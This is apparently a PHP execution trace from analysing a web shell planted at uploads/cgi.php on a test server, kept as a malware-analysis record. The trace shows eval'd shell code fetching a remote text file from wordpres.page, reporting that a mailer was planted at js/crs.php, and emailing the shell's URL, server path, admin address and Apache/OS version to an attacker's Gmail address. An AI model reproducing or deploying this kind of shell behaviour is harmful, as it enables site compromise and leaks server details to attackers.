eval()'d code(1) : eval()'d code 101 $directories = [0 => '/var/www/html/uploads/data'] 5 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 98 $dir = '/var/www/html/uploads/prepend.php' 6 61 0 0.013386 634392 is_dir 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 99 1 '/var/www/html/uploads/prepend.php' 6 61 1 0.013402 634416 6 61 R FALSE 5 52 1 0.013415 633728 5 52 R [0 => '/var/www/html/uploads/data'] 5 62 0 0.013431 633728 array_merge 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 101 2 [0 => '/var/www/html/uploads'] [0 => '/var/www/html/uploads/data'] 5 62 1 0.013447 634168 5 62 R [0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data'] 4 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 101 $directories = [0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data'] 4 48 1 0.013477 632848 4 48 R [0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data'] 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 80 $directories = [0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data'] 4 63 0 0.013506 632848 http_get 1 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 81 1 'https://wordpres.page/txt/lamer.txt' 5 64 0 0.013521 632848 curl_init 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 108 1 'https://wordpres.page/txt/lamer.txt' 5 64 1 0.013539 633792 5 64 R resource(10) of type (curl) 4 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 108 $im = resource(10) of type (curl) 5 65 0 0.013573 633760 curl_setopt 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 109 3 resource(10) of type (curl) 19913 1 5 65 1 0.013589 633856 5 65 R TRUE 5 66 0 0.013601 633760 curl_setopt 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 110 3 resource(10) of type (curl) 78 10 5 66 1 0.013617 633856 5 66 R TRUE 5 67 0 0.013629 633760 curl_setopt 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 111 3 resource(10) of type (curl) 52 1 5 67 1 0.013644 633856 5 67 R TRUE 5 68 0 0.013656 633760 curl_setopt 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 112 3 resource(10) of type (curl) 42 0 5 68 1 0.013670 633856 5 68 R TRUE 5 69 0 0.013682 633760 curl_exec 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 113 1 resource(10) of type (curl) 5 69 1 0.373086 682944 5 69 R 'Sender Yazdirildi.
SITE YOL : http://localhost/uploads/cgi.php
Sender Yolu : js/crs.php' 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 185 $header .= 'From: SheLL Boot \n' 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 186 $header .= 'Content-Type: text/html;\r\n charset=utf-8\n' 4 93 0 0.669160 733624 mail 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 188 4 'byhero44@gmail.com' 'Hacklink Bildiri' '

Sender Yazdirildi.
SITE YOL : http://localhost/uploads/cgi.php
Sender Yolu : js/crs.php

' 'From: SheLL Boot \nContent-Type: text/html;\r\n charset=utf-8\n' 4 93 1 0.670138 733768 4 93 R FALSE 4 94 0 0.670162 733624 mail 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 189 4 'byhero44@gmail.com' 'Hacklink Bildiri' '

Sender Yazdirildi.
SITE YOL : http://localhost/uploads/cgi.php
Sender Yolu : js/crs.php

' 'From: SheLL Boot \nContent-Type: text/html;\r\n charset=utf-8\n' 4 94 1 0.670988 733768 4 94 R FALSE 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 193 $kime = 'byhero44@gmail.com' 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 194 $baslik = 'cgi 2022 log' 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 195 $EL_MuHaMMeD = 'Dosya Yolu : /var/www/html\r\n' 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 196 $EL_MuHaMMeD .= 'Server Admin : webmaster@localhost\r\n' 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 197 $EL_MuHaMMeD .= 'Server isletim sistemi : Apache/2.4.52 (Ubuntu)\r\n' 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 198 $EL_MuHaMMeD .= 'Shell Link : http://localhost/uploads/cgi.php\r\n' 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 199 $EL_MuHaMMeD .= 'Avlanan Site : localhost\r\n' 4 95 0 0.671114 733624 mail 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 200 3 'byhero44@gmail.com' 'cgi 2022 log' 'Dosya Yolu : /var/www/html\r\nServer Admin : webmaster@localhost\r\nServer isletim sistemi : Apache/2.4.52 (Ubuntu)\r\nShell Link : http://localhost/uploads/cgi.php\r\nAvlanan Site : localhost\r\n' 4 95 1 0.671853 733720 4 95 R FALSE 3 19 1 0.671880 733624 2 7 1 0.671893 625008 1 3 1 0.671901 621712 0.671940 540904 TRACE END [2023-02-13 00:41:35.853095]
\r\n
\r\n \r\n
\r\n